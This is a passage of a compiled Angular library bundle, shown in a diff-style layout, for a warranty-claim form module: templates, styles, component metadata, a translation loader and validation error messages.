(redirect)=\"redirectToTicket($event)\"\r\n (close)=\"closeForm()\"></warranty-success>\r\n </ng-container>\r\n </ng-container>\r\n </div>\r\n</div>\r\n\r\n<ng-template #chooseItem>\r\n <div class=\"info info--choose\">\r\n <p>{{\"wf.chooseitem\"|translate}}</p>\r\n </div>\r\n</ng-template>\r\n\r\n<ng-template #cantConnect>\r\n <div class=\"info error\">\r\n <p>Can not process your request</p>\r\n <p>Please try again later</p>\r\n </div>\r\n</ng-template>\r\n\r\n<ng-template #loading>\r\n <div class=\"page-container\">\r\n\r\n <div class=\"skeleton-header\">\r\n <skeleton-loader class=\"\"\r\n [show]=\"true\"\r\n [height]=\"loaderSettingsHeader.height\"\r\n [margin]=\"loaderSettingsHeader.margin\"\r\n [repeat]=\"1\">\r\n </skeleton-loader>\r\n </div>\r\n <div class=\"loading-container\">\r\n\r\n <skeleton-loader class=\"return__products\"\r\n [show]=\"true\"\r\n [height]=\"loaderSettingsLeft.height\"\r\n [margin]=\"loaderSettingsLeft.margin\"\r\n [repeat]=\"loaderSettingsLeft.repeat\">\r\n </skeleton-loader>\r\n\r\n <skeleton-loader class=\"return__info\"\r\n [show]=\"true\"\r\n [height]=\"loaderSettingsRight.height\"\r\n [margin]=\"loaderSettingsRight.margin\"\r\n [repeat]=\"loaderSettingsRight.repeat\">\r\n </skeleton-loader>\r\n </div>\r\n </div>\r\n</ng-template>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.skeleton-header{padding-right:30px;margin-left:-5px}.loading-container{display:flex}.loading-container .return__products{display:flex;flex-direction:column;margin:0 0 0 -20px;padding:30px 30px 0 calc(30px - 15px);width:50%}.loading-container .return__info{display:flex;flex-direction:column;padding:30px 30px 0;width:52%;border-left:1px solid #dbdddf}.component-container{display:flex;width:100%;min-height:calc(100vh - (90px * 2) - 100px)}.component-container .return__products{display:flex;flex-direction:column;margin:0 0 0 -15px;padding:30px 30px 0 calc(30px - 15px);position:relative;width:50%}.component-container .return__info{flex-shrink:0;display:flex;flex-direction:column;border-left:1px solid #dbdddf;animation:fadeInSlideIn .55s;width:52%}.component-container .return__info .info--choose{justify-content:center;align-items:center;padding:0 0 26px;width:auto;height:calc(100vh - (90px * 2) - 100px)}.component-container .return__info .info--choose p{font-size:16;font-weight:600}.info{display:flex;flex-direction:column;width:52%}.info.info--choose{justify-content:center;align-items:center;padding:0 0 26px}.info.info--choose p{font-size:16;font-weight:600}.info.error{width:100%;height:90vh;justify-content:center;align-items:center;padding:0 0 26px}.info.error p{margin:0;font-size:16;font-weight:600}.return__forward{border-top:1px solid #dbdddf;justify-content:flex-end;align-items:center;display:flex;padding:15px 0 0}.return__forward--tip{color:#4d575d;font-weight:600;margin:1px 60px 0 0}.return__forward ad-button{border-top-width:0px}.alt-contact{margin-bottom:20px}.flex--row{display:flex;flex-wrap:wrap;flex-direction:row}.flex--row.button--section{align-items:center;margin-bottom:20px}.go__backward{margin:0 25px 0 16px;text-decoration:none;color:#4d575d;background-color:transparent;cursor:pointer}.disabled{pointer-events:none}.color__red{color:#d62429}\n"], components: [{ type: FormHeaderComponent, selector: "form-header", inputs: ["configuration"] }, { type: WarrantyProductsComponent, selector: "warranty-products", inputs: ["configuration", "orderLines", "warrantyForm", "lines"] }, { type: WarrantyInfoComponent, selector: "warranty-info", inputs: ["configuration", "infoForm", "warrantyData", "orderLineIndex", "serialNumber", "quantity"], outputs: ["fillDescriptions", "continue"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.ɵe, selector: "ad-icon", inputs: ["size", "color", "width", "height", "placement", "name", "title"] }, { type: WarrantyPreviewComponent, selector: "warranty-preview", inputs: ["configuration", "warrantyForm", "warrantyData"] }, { type: ContactDetailsComponent, selector: "contact-details", inputs: ["configuration", "customerDetailsForm", "askAdditionalContacts"] }, { type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: AlternativeContactComponent, selector: "alternative-contact", inputs: ["alternativeContactForm"] }, { type: WarrantySuccessComponent, selector: "warranty-success", inputs: ["configuration", "caseResponses", "reference"], outputs: ["close", "redirect"] }, { type: SkeletonLoaderComponent, selector: "skeleton-loader", inputs: ["type", "show", "repeat", "margin", "height"] }], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i2.NgSwitch, selector: "[ngSwitch]", inputs: ["ngSwitch"] }, { type: i2.NgSwitchCase, selector: "[ngSwitchCase]", inputs: ["ngSwitchCase"] }, { type: i3.FormArrayName, selector: "[formArrayName]", inputs: ["formArrayName"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i3.RequiredValidator, selector: ":not([type=checkbox])[required][formControlName],:not([type=checkbox])[required][formControl],:not([type=checkbox])[required][ngModel]", inputs: ["required"] }], pipes: { "async": i2.AsyncPipe, "translate": i4.TranslatePipe } });
|
3307
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormComponent, decorators: [{
|
3308
|
+
type: Component,
|
3309
|
+
args: [{
|
3310
|
+
selector: 'lib-warranty-form',
|
3311
|
+
templateUrl: './warranty-form.component.html',
|
3312
|
+
styleUrls: ['./warranty-form.component.scss'],
|
3313
|
+
providers: [TranslateService, WarrantyService, WarrantyFormService, WarrantyValidationService,
|
3314
|
+
StepsService, SerialNumberService, WarrantyDataMappingService]
|
3315
|
+
}]
|
3316
|
+
}], ctorParameters: function () { return [{ type: i4.TranslateService }, { type: WarrantyService }, { type: WarrantyFormService }, { type: WarrantyValidationService }, { type: StepsService }, { type: ConfigService }, { type: SerialNumberService }, { type: WarrantyDataMappingService }]; }, propDecorators: { configuration: [{
|
3317
|
+
type: Input
|
3318
|
+
}], data: [{
|
3319
|
+
type: Input
|
3320
|
+
}], sent: [{
|
3321
|
+
type: Output
|
3322
|
+
}], close: [{
|
3323
|
+
type: Output
|
3324
|
+
}], redirect: [{
|
3325
|
+
type: Output
|
3326
|
+
}] } });
|
3327
|
+
|
3328
|
+
function WarrantyHttpLoaderFactory(http, configService) {
|
3329
|
+
return new WarrantyTranslateLoaderFactory(http, configService);
|
3330
|
+
}
|
3331
|
+
class WarrantyTranslateLoaderFactory {
|
3332
|
+
constructor(httpClient, configService) {
|
3333
|
+
this.httpClient = httpClient;
|
3334
|
+
this.configService = configService;
|
3335
|
+
}
|
3336
|
+
getTranslation(lang) {
|
3337
|
+
const localeInfo = lang.split(":::");
|
3338
|
+
const country = localeInfo[0];
|
3339
|
+
const locale = localeInfo[1];
|
3340
|
+
const url = `${this.configService.getUrl()}locale?country=${country}&locale=${locale}`;
|
3341
|
+
const options = this.configService.getHttpOptions();
|
3342
|
+
return this.httpClient.get(url, options)
|
3343
|
+
.pipe(map((x) => {
|
3344
|
+
const translations = {};
|
3345
|
+
if ((x === null || x === void 0 ? void 0 : x.length) > 0) {
|
3346
|
+
const items = x;
|
3347
|
+
items.forEach(t => { translations[t.varFriendlyName] = t.text; });
|
3348
|
+
}
|
3349
|
+
return translations;
|
3350
|
+
}));
|
3351
|
+
}
|
3352
|
+
}
|
3353
|
+
|
3354
|
+
const ErroMesasgeFactory = (translateService) => {
|
3355
|
+
return {
|
3356
|
+
required: (error) => translateService.instant("wf.inputrequired"),
|
3357
|
+
maxlength: ({ requiredLength, actualLength }) => {
|
3358
|
+
const strTemplate = translateService.instant("wf.fieldmaxlength");
|
3359
|
+
const replacements = { "%requiredLength%": requiredLength, "%actualLength%": actualLength };
|
3360
|
+
const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
|
3361
|
+
return result;
|
3362
|
+
},
|
3363
|
+
forbiddenValue: (email) => translateService.instant(email.message),
|
3364
|
+
maxFiles: (value) => {
|
3365
|
+
const strTemplate = translateService.instant("wf.fieldmaxfiles");
|
3366
|
+
const replacements = { "%maxFiles%": value };
|
3367
|
+
const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
|
3368
|
+
return result;
|
3369
|
+
},
|
3370
|
+
maxFileSize: (value) => {
|
3371
|
+
const strTemplate = translateService.instant("wf.fieldmaxfilesize");
|
3372
|
+
const replacements = { "%maxFileSize%": value };
|
3373
|
+
const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
|
3374
|
+
return result;
|
3375
|
+
},
|
3376
|
+
fileTypeNotSupported: (value) => {
|
3377
|
+
const supported = value.supportedTypes.join(", *");
|
3378
|
+
const strTemplate = translateService.instant("wf.fieldfiletypenotsupported");
|
3379
|
+
const replacements = { "%supportedFiles%": supported };
|
3380
|
+
const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
|
3381
|
+
return result;
|
3382
|
+
}
|
3383
|
+
};
|
3384
|
+
};
|
3385
|
+
|
3386
|
+
const translateModule = TranslateModule.forChild({
|
3387
|
+
loader: {
|
3388
|
+
provide: TranslateLoader,
|
3389
|
+
useFactory: WarrantyHttpLoaderFactory,
|
3390
|
+
deps: [HttpClient, ConfigService]
|
3391
|
+
},
|
3392
|
+
isolate: true
|
3393
|
+
});
|
3394
|
+
class WarrantyFormModule {
|
3395
|
+
}
|
3396
|
+
WarrantyFormModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
3397
|
+
WarrantyFormModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, declarations: [SkeletonLoaderComponent,
|
3398
|
+
FormHeaderComponent,
|
3399
|
+
HelpMessageComponent,
|
3400
|
+
InvoiceDataComponent,
|
3401
|
+
WarrantyInfoComponent,
|
3402
|
+
WarrantyPreviewItemComponent,
|
3403
|
+
WarrantyPreviewComponent,
|
3404
|
+
ContactDetailsComponent,
|
3405
|
+
AlternativeContactComponent,
|
3406
|
+
WarrantyProductsComponent,
|
3407
|
+
WarrantySuccessComponent,
|
3408
|
+
WarrantyFormComponent], imports: [CommonModule,
|
3409
|
+
ButtonModule,
|
3410
|
+
TextInputModule,
|
3411
|
+
CheckboxModule,
|
3412
|
+
RadioModule,
|
3413
|
+
FileInputModule,
|
3414
|
+
SelectModule,
|
3415
|
+
TextareaInputModule,
|
3416
|
+
DatePickerModule,
|
3417
|
+
IconModule,
|
3418
|
+
ReactiveFormsModule, i1$2.InlineSVGModule, i4.TranslateModule], exports: [WarrantyFormComponent] });
|
3419
|
+
WarrantyFormModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, providers: [
|
3420
|
+
//TranslateService,
|
3421
|
+
{
|
3422
|
+
provide: COMMON_DESIGN_ERRORS,
|
3423
|
+
useFactory: ErroMesasgeFactory,
|
3424
|
+
deps: [TranslateService]
|
3425
|
+
}
|
3426
|
+
], imports: [[
|
3427
|
+
CommonModule,
|
3428
|
+
ButtonModule,
|
3429
|
+
TextInputModule,
|
3430
|
+
CheckboxModule,
|
3431
|
+
RadioModule,
|
3432
|
+
FileInputModule,
|
3433
|
+
SelectModule,
|
3434
|
+
TextareaInputModule,
|
3435
|
+
DatePickerModule,
|
3436
|
+
IconModule,
|
3437
|
+
ReactiveFormsModule,
|
3438
|
+
InlineSVGModule.forRoot({ baseUrl: 'https://design.atea.com/assets/icons/' }),
|
3439
|
+
translateModule
|
3440
|
+
]] });
|
3441
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, decorators: [{
|
3442
|
+
type: NgModule,
|
3443
|
+
args: [{
|
3444
|
+
declarations: [
|
3445
|
+
SkeletonLoaderComponent,
|
3446
|
+
FormHeaderComponent,
|
3447
|
+
HelpMessageComponent,
|
3448
|
+
InvoiceDataComponent,
|
3449
|
+
WarrantyInfoComponent,
|
3450
|
+
WarrantyPreviewItemComponent,
|
3451
|
+
WarrantyPreviewComponent,
|
3452
|
+
ContactDetailsComponent,
|
3453
|
+
AlternativeContactComponent,
|
3454
|
+
WarrantyProductsComponent,
|
3455
|
+
WarrantySuccessComponent,
|
3456
|
+
WarrantyFormComponent
|
3457
|
+
],
|
3458
|
+
imports: [
|
3459
|
+
CommonModule,
|
3460
|
+
ButtonModule,
|
3461
|
+
TextInputModule,
|
3462
|
+
CheckboxModule,
|
3463
|
+
RadioModule,
|
3464
|
+
FileInputModule,
|
3465
|
+
SelectModule,
|
3466
|
+
TextareaInputModule,
|
3467
|
+
DatePickerModule,
|
3468
|
+
IconModule,
|
3469
|
+
ReactiveFormsModule,
|
3470
|
+
InlineSVGModule.forRoot({ baseUrl: 'https://design.atea.com/assets/icons/' }),
|
3471
|
+
translateModule
|
3472
|
+
],
|
3473
|
+
providers: [
|
3474
|
+
//TranslateService,
|
3475
|
+
{
|
3476
|
+
provide: COMMON_DESIGN_ERRORS,
|
3477
|
+
useFactory: ErroMesasgeFactory,
|
3478
|
+
deps: [TranslateService]
|
3479
|
+
}
|
3480
|
+
],
|
3481
|
+
exports: [
|
3482
|
+
WarrantyFormComponent
|
3483
|
+
]
|
3484
|
+
}]
|
3485
|
+
}] });
|
3486
|
+
|
3487
|
+
/*
|
3488
|
+
* Public API Surface of warranty-form
|
3489
|
+
*/
|
3490
|
+
|
3491
|
+
/**
|
3492
|
+
* Generated bundle index. Do not edit.
|
3493
|
+
*/
|
3494
|
+
|
3495
|
+
export { WarrantyFormComponent, WarrantyFormModule, translateModule };
|
3496
|
+
|